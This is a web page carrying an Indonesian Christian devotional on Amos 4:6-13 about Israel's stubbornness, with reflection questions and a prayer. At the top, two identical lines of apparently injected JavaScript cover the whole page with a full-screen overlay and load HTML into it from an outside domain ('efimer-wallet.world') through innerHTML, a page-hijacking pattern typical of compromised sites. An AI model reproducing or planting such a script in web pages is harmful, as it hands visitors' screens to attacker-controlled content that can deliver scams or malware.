const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Jumat, 10 November 2023
Amos 4 : 6 – 13
Pengantar
Kita sering mendengar pernyataan “jangan menjadi orang bebal” atau “bebal sekali orang itu” dan sebagainya. Dalam bahasa Inggris kata bebal memakai kata stupid yaitu bodoh. Menurut Kamus Besar Bahasa Indonesia, kata bebal artinya: sukar mengerti; tidak cepat menanggapi sesuatu/tumpul pikirannya; bodoh dan tidak bisa diberitahu. Dalam Alkitab orang bodoh sering disebut bebal (Ams 10:14; 18:13). Kebebalan juga lazim disejajarkan dengan kebodohan yang maknanya mengarah pada penolakan yang bersifat jahat terhadap hikmat dan didikan Ilahi (Ams 1:7). Hari ini kita belajar Firman Tuhan tentang kebebalan Umat Israel sehingga berakibat fatal.
Pemahaman
- Apa yang dapat kita pahami melalui pernyataan mulai ayat 6-11?
- Pesan penting apa yang bisa kita pelajari ketika memperhatikan ayat 12-13?
Dalam Kitab Amsal kita banyak menjumpai teguran terhadap orang-orang bebal, sedangkan dalam kitab Amos kita banyak menemukan contoh orang-orang yang bebal. Kebanyakan mereka sebenarnya bukan orang sembarangan melainkan para pemimpin umat, baik pemimpin di bidang rohani maupun pemimpin di bidang- bidang sekuler. Namun Allah berfirman akan menimpakan kepada mereka hukuman yang sangat terperinci. Penghukuman itu akan datang dalam bentuk bencana pertanian yang mengakibatkan kelaparan nasional. Rakyat dan pemimpin bersama-sama akan menderita. Mereka akan mengalami kelangkaan bahan pangan sebab
kemarau dan wabah hama menggagalkan musim panen (v. 6-9). Selain itu timbul penyakit misterius, konflik sosial, dan bencana alam yang silih berganti menyerang umat Israel (v. 10-11). Sehingga tidak ada yang dapat bertahan melewati itu semua. Tetapi yang mengejutkan adalah: sekalipun bangsa Israel dihajar dengan segala malapetaka, tetapi mereka tetap tidak mau berbalik kepada Tuhan Allah yang hidup, hati mereka telah mengeras, mereka telah menjadi bangsa yang bebal. Ketika malapetaka dan hukuman sudah tidak bisa membuat mereka bertobat, maka Allah memakai nabi Amos berkata kepada mereka “Bersiaplah untuk bertemu dengan Allahmu!” (v. 12) suatu pernyataan bahwa Allah akan menimpakan kepada umat Israel kebinasaan kekal, hukuman yang dahsyat dan tidak ada taranya, itu sebabnya kondisinya disamakan dengan Sodom dan Gomora (v. 11).
Refleksi
Saudara, melalui renungan hari ini kita belajar betapa bahayanya jika orang / umat yang dikuasai kebebalan, ia menjadi orang yang tidak bisa diberitahu. Orang bebal bukan selalu orang yang sama sekali belum bertobat, tetapi bisa jadi kelihatan sudah bertobat tetapi tidak sungguh-sungguh.
Tekadku
Ya Tuhan, tolonglah aku agar tidak menjadi orang bebal, melainkan mempercayai Engkau dengan sungguh-sungguh.
Tindakanku
Mari saudara, kita lebih sungguh lagi mempercayai Yesus, agar kita tidak menjadi orang bebal.